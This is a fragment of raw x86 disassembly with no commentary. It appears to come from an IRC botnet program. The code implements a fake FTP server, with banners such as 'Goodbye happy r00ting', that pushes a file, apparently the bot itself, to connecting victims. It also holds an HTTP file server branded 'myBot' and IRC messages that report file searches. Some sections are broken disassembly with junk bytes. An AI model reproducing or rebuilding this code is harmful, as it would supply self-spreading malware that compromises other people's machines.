sub_413470 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_412310 add esp, 18h test eax, eax jnz short loc_403CEB push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403CEB: ; CODE XREF: sub_403A5B+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403D0F push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403D0F: ; CODE XREF: sub_403A5B+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403D33 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403D33: ; CODE XREF: sub_403A5B+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403D57 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403D57: ; CODE XREF: sub_403A5B+2EDj lea eax, [ebp+var_AC] push offset off_421E64 push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403D7B push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403D7B: ; CODE XREF: sub_403A5B+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403DB6 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403DB6 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403DB6: ; CODE XREF: sub_403A5B+335j ; sub_403A5B+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403DF1 lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403DF1 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40402D ; --------------------------------------------------------------------------- loc_403DF1: ; CODE XREF: sub_403A5B+370j ; sub_403A5B+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403E3F push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_4126F0 pop ecx push eax lea eax, [ebp+var_124] loc_403E2F: ; CODE XREF: sub_403A5B+423j push eax push [ebp+arg_0] call ebx ; dword_41D1DC xor esi, esi loc_403E37: ; CODE XREF: sub_403A5B+4F3j mov edi, [ebp+arg_0] jmp loc_404030 ; --------------------------------------------------------------------------- loc_403E3F: ; CODE XREF: sub_403A5B+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_403E80 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_4126F0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_403E2F ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_403A5B+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz loc_403F53 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_413470 lea eax, [ebp+var_F8] push eax call sub_41245F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41245F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_411F70 push [ebp+var_8] lea eax, [ebp+var_F8] push edi push offset aXX ; "%x%x\n" push eax call sub_411EEE add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_413459 mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_411EEE add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; dword_41D1DC jmp loc_403E37 ; --------------------------------------------------------------------------- loc_403F53: ; CODE XREF: sub_403A5B+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40400E push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; dword_41D1DC push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_40405E pop ecx cmp eax, 1 pop ecx jnz short loc_404004 call sub_4040DB cmp eax, 1 jnz loc_404030 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; dword_41D1DC lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_432710 push eax lea eax, [ebp+var_8DC] push offset dword_421CA8 push eax call sub_411EEE add esp, 14h cmp [ebp+var_440], esi jnz short loc_403FF5 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40F9F1 add esp, 14h loc_403FF5: ; CODE XREF: sub_403A5B+575j lea eax, [ebp+var_8DC] push eax call sub_408E17 pop ecx jmp short loc_404030 ; --------------------------------------------------------------------------- loc_404004: ; CODE XREF: sub_403A5B+52Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40402D ; --------------------------------------------------------------------------- loc_40400E: ; CODE XREF: sub_403A5B+50Dj lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_404030 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40402D: ; CODE XREF: sub_403A5B+28Bj ; sub_403A5B+2AFj ... push edi call ebx ; dword_41D1DC loc_404030: ; CODE XREF: sub_403A5B+3DFj ; sub_403A5B+539j ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_411F70 add esp, 0Ch loc_404042: ; CODE XREF: sub_403A5B+160j ; sub_403A5B+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_403B89 jmp loc_403B4E ; --------------------------------------------------------------------------- loc_404054: ; CODE XREF: sub_403A5B+11Ej push 1 pop eax loc_404057: ; CODE XREF: sub_403A5B+D0j pop edi pop esi pop ebx leave retn 4 sub_403A5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40405E proc near ; CODE XREF: sub_403A5B+525p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_41D1AC ; WSAStartup push 0 push 1 push 2 call dword_41D1D8 ; socket push [ebp+arg_0] mov dword_43270C, eax mov [ebp+var_10], 2 call dword_41D1C4 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_41D1C8 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43270C call dword_41D1CC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4040D6 push dword_43270C call dword_41D1D4 ; closesocket call dword_41D1A8 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4040D6: ; CODE XREF: sub_40405E+60j push 1 pop eax leave retn sub_40405E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040DB proc near ; CODE XREF: sub_403A5B+531p var_1037B = byte ptr -1037Bh var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 0AB0000h or [ebp+var_1037B], 0FFh push offset aRb ; "rb" push eax call sub_4125E8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_404172 test byte ptr [esi+0Ch], 10h jnz short loc_404156 push edi mov edi, 400h loc_40411E: ; CODE XREF: sub_4040DB+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_413580 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43270C call dword_41D1DC ; send push 1 call dword_41D05C ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40411E pop edi loc_404156: ; CODE XREF: sub_4040DB+3Bj push esi call sub_412540 pop ecx push dword_43270C call dword_41D1D4 ; closesocket call dword_41D1A8 ; WSACleanup push 1 pop eax loc_404172: ; CODE XREF: sub_4040DB+35j pop esi leave retn sub_4040DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404175 proc near ; DATA XREF: .nsp0:00405BFBo ; .nsp0:0040EE1Bo var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_412770 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_411F70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_433AC8 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_433B48 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_404560 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_438C64[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_433AF4 ; bind cmp eax, 0FFFFFFFFh jz loc_404560 push 7FFFFFFFh push edi call dword_433AF0 ; listen cmp eax, 0FFFFFFFFh jz loc_404560 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_433B64 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_404560 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40424C: ; CODE XREF: sub_404175+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_433AB0 ; select cmp eax, 0FFFFFFFFh jz loc_40455B xor esi, esi mov [ebp+var_4], esi loc_404282: ; CODE XREF: sub_404175+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4339C0 ; __WSAFDIsSet test eax, eax jz loc_404546 cmp esi, [ebp+var_C] jnz short loc_404304 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_433B5C ; accept cmp eax, 0FFFFFFFFh jz loc_404546 xor ecx, ecx test ebx, ebx jbe short loc_4042D6 lea edx, [ebp+var_134] loc_4042CA: ; CODE XREF: sub_404175+15Fj cmp [edx], eax jz short loc_4042D6 inc ecx add edx, 4 cmp ecx, ebx jb short loc_4042CA loc_4042D6: ; CODE XREF: sub_404175+14Dj ; sub_404175+157j cmp ecx, ebx jnz short loc_4042F3 cmp ebx, 40h jnb short loc_4042F3 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_4042F3: ; CODE XREF: sub_404175+163j ; sub_404175+168j cmp eax, [ebp+var_8] jbe loc_404546 mov [ebp+var_8], eax jmp loc_404546 ; --------------------------------------------------------------------------- loc_404304: ; CODE XREF: sub_404175+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_411F70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_411F70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_433AE0 ; recv test eax, eax jg short loc_404397 push esi call dword_433B60 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_404546 lea eax, [ebp+var_134] loc_404356: ; CODE XREF: sub_404175+1EBj cmp [eax], esi jz short loc_404367 inc ecx add eax, 4 cmp ecx, ebx jb short loc_404356 jmp loc_404546 ; --------------------------------------------------------------------------- loc_404367: ; CODE XREF: sub_404175+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40438B lea eax, [ebp+ecx*4+var_134] loc_404375: ; CODE XREF: sub_404175+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_404375 loc_40438B: ; CODE XREF: sub_404175+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_404546 ; --------------------------------------------------------------------------- loc_404397: ; CODE XREF: sub_404175+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_411F70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_4126F0 add esp, 10h test eax, eax jbe loc_404546 loc_4043C5: ; CODE XREF: sub_404175+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40446A mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_4124C0 pop ecx test eax, eax pop ecx jz short loc_40443E lea eax, [ebp+var_18F0] push eax call sub_4126F0 cmp eax, 5 pop ecx jbe short loc_40443E mov eax, offset asc_421F4C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_4124C0 pop ecx pop ecx push eax call sub_4124C0 pop ecx pop ecx push eax call sub_413668 push eax lea eax, [ebp+var_23C] push eax call sub_412600 add esp, 10h jmp short loc_404455 ; --------------------------------------------------------------------------- loc_40443E: ; CODE XREF: sub_404175+27Fj ; sub_404175+291j lea eax, [ebp+var_18F0] push offset asc_421F48 ; "\r\n" push eax call sub_412310 pop ecx test eax, eax pop ecx jz short loc_404489 loc_404455: ; CODE XREF: sub_404175+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_411F70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40446A: ; CODE XREF: sub_404175+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_4126F0 cmp [ebp+arg_0], eax pop ecx jb loc_4043C5 jmp loc_404546 ; --------------------------------------------------------------------------- loc_404489: ; CODE XREF: sub_404175+2DEj xor ecx, ecx test ebx, ebx jbe short loc_4044D3 lea eax, [ebp+var_134] loc_404495: ; CODE XREF: sub_404175+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_4044A6 inc ecx add eax, 4 cmp ecx, ebx jb short loc_404495 jmp short loc_4044D6 ; --------------------------------------------------------------------------- loc_4044A6: ; CODE XREF: sub_404175+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_4044CA lea eax, [ebp+ecx*4+var_134] loc_4044B4: ; CODE XREF: sub_404175+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_4044B4 loc_4044CA: ; CODE XREF: sub_404175+336j dec ebx mov [ebp+var_138], ebx jmp short loc_4044D6 ; --------------------------------------------------------------------------- loc_4044D3: ; CODE XREF: sub_404175+318j mov esi, [ebp+var_4] loc_4044D6: ; CODE XREF: sub_404175+32Fj ; sub_404175+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40453F lea eax, [ebp+var_360] push eax call sub_4126F0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_4126F0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40453F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_433B64 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call loc_404752 add esp, 14h jmp short loc_404546 ; --------------------------------------------------------------------------- loc_40453F: ; CODE XREF: sub_404175+369j ; sub_404175+38Fj push esi call dword_433B60 ; closesocket loc_404546: ; CODE XREF: sub_404175+11Dj ; sub_404175+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_404282 jmp loc_40424C ; --------------------------------------------------------------------------- loc_40455B: ; CODE XREF: sub_404175+102j mov edi, [ebp+var_C] xor ebx, ebx loc_404560: ; CODE XREF: sub_404175+6Aj ; sub_404175+92j ... call dword_433A5C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_421F00 push eax call sub_411EEE add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_4045A6 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40F9F1 add esp, 14h loc_4045A6: ; CODE XREF: sub_404175+40Cj lea eax, [ebp+var_8F0] push eax call sub_408E17 pop ecx push edi call dword_433B60 ; closesocket push [ebp+var_254] call sub_411CB6 pop ecx push ebx call near ptr 0AB0000h push edx pop edi pop esi pop ebx sub_404175 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045D0 proc near ; DATA XREF: .nsp0:00404998o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_1E6AE03D = byte ptr 1E6AE045h push ebp mov ebp, esp mov eax, 1654h call sub_412770 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_411EEE lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_411EEE xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_404635 push offset aTextHtml ; "text/html" jmp short loc_40463A ; --------------------------------------------------------------------------- loc_404635: ; CODE XREF: sub_4045D0+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40463A: ; CODE XREF: sub_4045D0+63j lea eax, [ebp+var_9C] push eax call sub_411EEE pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 0AB0000h sub [ebp+arg_1E6AE03D], cl push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 0AB0000h dec edx lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_4046B3 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_411EEE add esp, 24h jmp short loc_4046D4 ; --------------------------------------------------------------------------- loc_4046B3: ; CODE XREF: sub_4045D0+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_411EEE add esp, 28h loc_4046D4: ; CODE XREF: sub_4045D0+E1j lea eax, [ebp+var_1654] push edi push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_433B18 ; send cmp [ebp+var_A4], edi jnz short loc_404714 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_405084 pop ecx pop ecx jmp short loc_404731 ; --------------------------------------------------------------------------- loc_404714: ; CODE XREF: sub_4045D0+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_404A02 add esp, 10h loc_404731: ; CODE XREF: sub_4045D0+142j push [ebp+var_44C] call dword_433B60 ; closesocket push [ebp+var_B4] call sub_411CB6 pop ecx push edi call near ptr 0AB0000h aas pop edi pop esi sub_4045D0 endp ; sp-analysis failed loc_404752: ; CODE XREF: sub_404175+3C0p push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp-210h] push edi push eax mov [ebp-4], edi call sub_411F70 mov eax, [ebp+10h] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_404788 push eax push offset aS_2 ; "\\%s" jmp short loc_404791 ; --------------------------------------------------------------------------- loc_404788: ; CODE XREF: .nsp0:0040477Ej push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_404791: ; CODE XREF: .nsp0:00404786j lea eax, [ebp-10Ch] push eax call sub_411EEE add esp, 0Ch lea eax, [ebp-10Ch] xor esi, esi xor ebx, ebx push eax call sub_4126F0 test eax, eax pop ecx jbe short loc_40482C mov dword ptr [ebp+10h], 2 loc_4047BC: ; CODE XREF: .nsp0:0040482Aj lea eax, [ebp-10Ch] push eax call sub_4126F0 cmp [ebp+10h], eax pop ecx jnb short loc_4047FC cmp byte ptr [ebp+esi-10Ch], 25h jnz short loc_4047FC cmp byte ptr [ebp+esi-10Bh], 32h jnz short loc_4047FC cmp byte ptr [ebp+esi-10Ah], 30h jnz short loc_4047FC inc esi mov byte ptr [ebp+ebx-210h], 20h inc esi add dword ptr [ebp+10h], 2 jmp short loc_404816 ; --------------------------------------------------------------------------- loc_4047FC: ; CODE XREF: .nsp0:004047CCj ; .nsp0:004047D6j ... mov al, [ebp+esi-10Ch] cmp al, 2Fh jnz short loc_40480C push 5Ch pop eax jmp short loc_40480F ; --------------------------------------------------------------------------- loc_40480C: ; CODE XREF: .nsp0:00404805j movsx eax, al loc_40480F: ; CODE XREF: .nsp0:0040480Aj mov [ebp+ebx-210h], al loc_404816: ; CODE XREF: .nsp0:004047FAj lea eax, [ebp-10Ch] inc esi inc dword ptr [ebp+10h] push eax inc ebx call sub_4126F0 cmp esi, eax pop ecx jb short loc_4047BC loc_40482C: ; CODE XREF: .nsp0:004047B3j lea eax, [ebp-210h] push eax lea eax, [ebp-314h] push dword ptr [ebp+0Ch] push offset aSS_2 ; "%s%s" push eax call sub_411EEE lea eax, [ebp-314h] push offset asc_422200 ; "\n" push eax call sub_413668 add esp, 18h lea eax, [ebp-314h] push eax call dword_41D080 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_40487A cmp eax, 0FFFFFFFFh jnz short loc_40487D push dword ptr [ebp+8] jmp short loc_4048F9 ; --------------------------------------------------------------------------- loc_40487A: ; CODE XREF: .nsp0:0040486Ej mov [ebp-4], esi loc_40487D: ; CODE XREF: .nsp0:00404873j cmp byte ptr [ebp+ebx-211h], 5Ch jnz short loc_40488A mov [ebp-4], esi loc_40488A: ; CODE XREF: .nsp0:00404885j mov ebx, [ebp+8] cmp [ebp-4], edi mov [ebp-6C4h], ebx mov [ebp-318h], edi jz short loc_404904 cmp [ebp+14h], edi jz short loc_4048F8 lea eax, [ebp-314h] push offset asc_4221FC ; "*" push eax call sub_412610 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_411EEE lea eax, [ebp-210h] push eax call sub_405141 lea eax, [ebp-210h] push eax lea eax, [ebp-53Ch] push eax call sub_411EEE add esp, 1Ch or dword ptr [ebp-330h], 0FFFFFFFFh mov [ebp-31Ch], esi jmp short loc_404953 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: .nsp0:004048A1j push ebx loc_4048F9: ; CODE XREF: .nsp0:00404878j call dword_433B60 ; closesocket jmp loc_4049FB ; --------------------------------------------------------------------------- loc_404904: ; CODE XREF: .nsp0:0040489Cj push edi push edi push 3 push edi push esi lea eax, [ebp-314h] push 80000000h push eax call dword_41D07C ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404953 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_411EEE pop ecx mov [ebp-31Ch], edi pop ecx push edi push esi call near ptr 0AB0000h push 0D0858956h cld ; --------------------------------------------------------------------------- db 0FFh dd 7415FFFFh ; --------------------------------------------------------------------------- rol byte ptr [ecx+0], 1 loc_404953: ; CODE XREF: .nsp0:004048F6j ; .nsp0:00404921j mov esi, [ebp+18h] lea eax, [ebp-8C4h] push esi push offset unk_4221B8 push eax call sub_411EEE push edi lea eax, [ebp-8C4h] push 3 push eax call sub_41199A mov [ebp-32Ch], eax imul eax, 234h add esp, 18h mov dword_438C5C[eax], esi lea eax, [ebp-8] push eax lea eax, [ebp-6C4h] push edi push eax push offset sub_4045D0 push edi push edi call dword_41D070 ; CreateThread mov ecx, [ebp-32Ch] imul ecx, 234h cmp eax, edi mov dword_438C6C[ecx], eax jz short loc_4049CD loc_4049BB: ; CODE XREF: .nsp0:004049CBj cmp [ebp-318h], edi jnz short loc_4049FB push 5 call dword_41D05C ; Sleep jmp short loc_4049BB ; --------------------------------------------------------------------------- loc_4049CD: ; CODE XREF: .nsp0:004049B9j push ebx call dword_433B60 ; closesocket call dword_41D06C ; RtlGetLastWin32Error push eax lea eax, [ebp-8C4h] push offset unk_42216C push eax call sub_411EEE lea eax, [ebp-8C4h] push eax call sub_408E17 add esp, 10h loc_4049FB: ; CODE XREF: .nsp0:004048FFj ; .nsp0:004049C1j pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A02 proc near ; CODE XREF: sub_4045D0+159p ; .nsp0:0040E49Ep var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_411F70 mov edi, [ebp+arg_0] push offset asc_422200 ; "\n" push edi call sub_413668 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_404A61 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41246A add esp, 14h jmp loc_404B5E ; --------------------------------------------------------------------------- loc_404A61: ; CODE XREF: sub_404A02+3Aj cmp [ebp+arg_C], ebx push edi jz loc_404B44 call sub_4126F0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send push edi call sub_4126F0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_433B18 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 0Ch jmp short loc_404B5E ; --------------------------------------------------------------------------- loc_404B44: ; CODE XREF: sub_404A02+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41246A add esp, 10h loc_404B5E: ; CODE XREF: sub_404A02+5Aj ; sub_404A02+140j lea eax, [ebp+var_248] push ebx push eax call 